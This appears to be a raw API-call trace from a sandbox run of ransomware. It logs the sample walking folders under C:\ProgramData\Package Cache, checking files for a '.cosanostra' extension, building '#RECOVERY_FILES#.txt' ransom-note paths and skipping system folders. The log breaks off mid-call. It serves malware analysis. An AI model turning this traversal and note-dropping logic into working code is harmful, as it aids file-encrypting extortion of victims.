[0082.149] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 125 [0082.149] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 145 [0082.149] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch=".cosanostra") returned 0x0 [0082.149] lstrcmpW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.149] lstrcmpW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="_uninstalling_.png") returned 1 [0082.149] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 145 [0082.149] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\#RECOVERY_FILES#.txt") returned 137 [0082.149] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\#RECOVERY_FILES#.txt") returned 137 [0082.150] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.150] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.150] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.150] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.151] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 83 [0082.151] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1 [0082.151] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1 [0082.152] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned 85 [0082.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.153] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\.") returned 85 [0082.153] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.153] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.153] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\..") returned 86 [0082.153] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.153] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.153] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.153] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned 92 [0082.153] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.153] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.154] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned 94 [0082.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.154] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\.") returned 94 [0082.154] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.154] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.154] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\..") returned 95 [0082.154] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.154] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.154] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.154] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned 115 [0082.154] lstrcmpW (lpString1="vcRuntimeMinimum_amd64", lpString2=".") returned 1 [0082.154] lstrcmpW (lpString1="vcRuntimeMinimum_amd64", lpString2="..") returned 1 [0082.155] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned 117 [0082.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.155] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\.") returned 117 [0082.155] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.155] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.155] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\..") returned 118 [0082.155] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.155] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.155] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.155] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 124 [0082.155] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.155] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.155] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.155] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 124 [0082.156] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 141 [0082.156] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch=".cosanostra") returned 0x0 [0082.156] lstrcmpW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.156] lstrcmpW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="_uninstalling_.png") returned 1 [0082.156] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 141 [0082.156] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt") returned 136 [0082.156] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt") returned 136 [0082.156] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.156] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\#RECOVERY_FILES#.txt") returned 113 [0082.157] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.157] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\#RECOVERY_FILES#.txt") returned 104 [0082.157] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 82 [0082.157] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1 [0082.157] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1 [0082.158] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned 84 [0082.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.158] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\.") returned 84 [0082.158] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.158] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.158] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\..") returned 85 [0082.159] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.159] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.159] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.159] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned 91 [0082.159] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.159] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.159] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned 93 [0082.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.159] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\.") returned 93 [0082.159] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.159] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.159] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\..") returned 94 [0082.159] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.159] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.159] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.160] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned 117 [0082.160] lstrcmpW (lpString1="vcRuntimeAdditional_amd64", lpString2=".") returned 1 [0082.160] lstrcmpW (lpString1="vcRuntimeAdditional_amd64", lpString2="..") returned 1 [0082.160] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned 119 [0082.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.161] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\.") returned 119 [0082.161] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.161] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.161] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\..") returned 120 [0082.161] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.161] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.161] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.161] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126 [0082.161] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.161] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.161] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.161] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126 [0082.161] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 146 [0082.161] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch=".cosanostra") returned 0x0 [0082.161] lstrcmpW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.161] lstrcmpW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="_uninstalling_.png") returned 1 [0082.161] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 146 [0082.161] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\#RECOVERY_FILES#.txt") returned 138 [0082.161] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\#RECOVERY_FILES#.txt") returned 138 [0082.161] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.161] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.162] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\#RECOVERY_FILES#.txt") returned 103 [0082.162] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\#RECOVERY_FILES#.txt") returned 103 [0082.163] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 82 [0082.163] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1 [0082.163] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1 [0082.163] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned 84 [0082.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.164] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\.") returned 84 [0082.164] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.164] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.164] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.164] lstrlenW (lpString="Windows") returned 7 [0082.164] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.164] lstrlenW (lpString="Program Files") returned 13 [0082.165] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.165] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.165] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.165] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.165] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.165] lstrlenW (lpString="System Volume Information") returned 25 [0082.165] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\..") returned 85 [0082.165] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.165] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.165] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.165] lstrcmpiW (lpString1="packages", lpString2="Windows") returned -1 [0082.165] lstrlenW (lpString="Windows") returned 7 [0082.165] lstrcmpiW (lpString1="packages", lpString2="Program Files") returned -1 [0082.165] lstrlenW (lpString="Program Files") returned 13 [0082.165] lstrcmpiW (lpString1="packages", lpString2="Program Files (x86)") returned -1 [0082.165] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.165] lstrcmpiW (lpString1="packages", lpString2="$Recycle.bin") returned 1 [0082.165] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.165] lstrcmpiW (lpString1="packages", lpString2="System Volume Information") returned -1 [0082.165] lstrlenW (lpString="System Volume Information") returned 25 [0082.165] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned 91 [0082.165] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.165] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.165] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned 93 [0082.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.166] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.166] lstrlenW (lpString="Windows") returned 7 [0082.166] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.166] lstrlenW (lpString="Program Files") returned 13 [0082.166] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.166] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.166] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.166] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.166] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.166] lstrlenW (lpString="System Volume Information") returned 25 [0082.166] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\.") returned 93 [0082.166] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.166] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.166] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.166] lstrlenW (lpString="Windows") returned 7 [0082.166] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.166] lstrlenW (lpString="Program Files") returned 13 [0082.166] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.166] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.166] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.166] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.166] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.166] lstrlenW (lpString="System Volume Information") returned 25 [0082.166] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\..") returned 94 [0082.166] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.166] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.166] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.166] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Windows") returned -1 [0082.166] lstrlenW (lpString="Windows") returned 7 [0082.166] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Program Files") returned 1 [0082.166] lstrlenW (lpString="Program Files") returned 13 [0082.167] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Program Files (x86)") returned 1 [0082.167] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.167] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="$Recycle.bin") returned 1 [0082.167] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.167] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="System Volume Information") returned 1 [0082.167] lstrlenW (lpString="System Volume Information") returned 25 [0082.167] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned 114 [0082.167] lstrcmpW (lpString1="vcRuntimeMinimum_amd64", lpString2=".") returned 1 [0082.167] lstrcmpW (lpString1="vcRuntimeMinimum_amd64", lpString2="..") returned 1 [0082.167] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned 116 [0082.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.168] lstrcmpiW 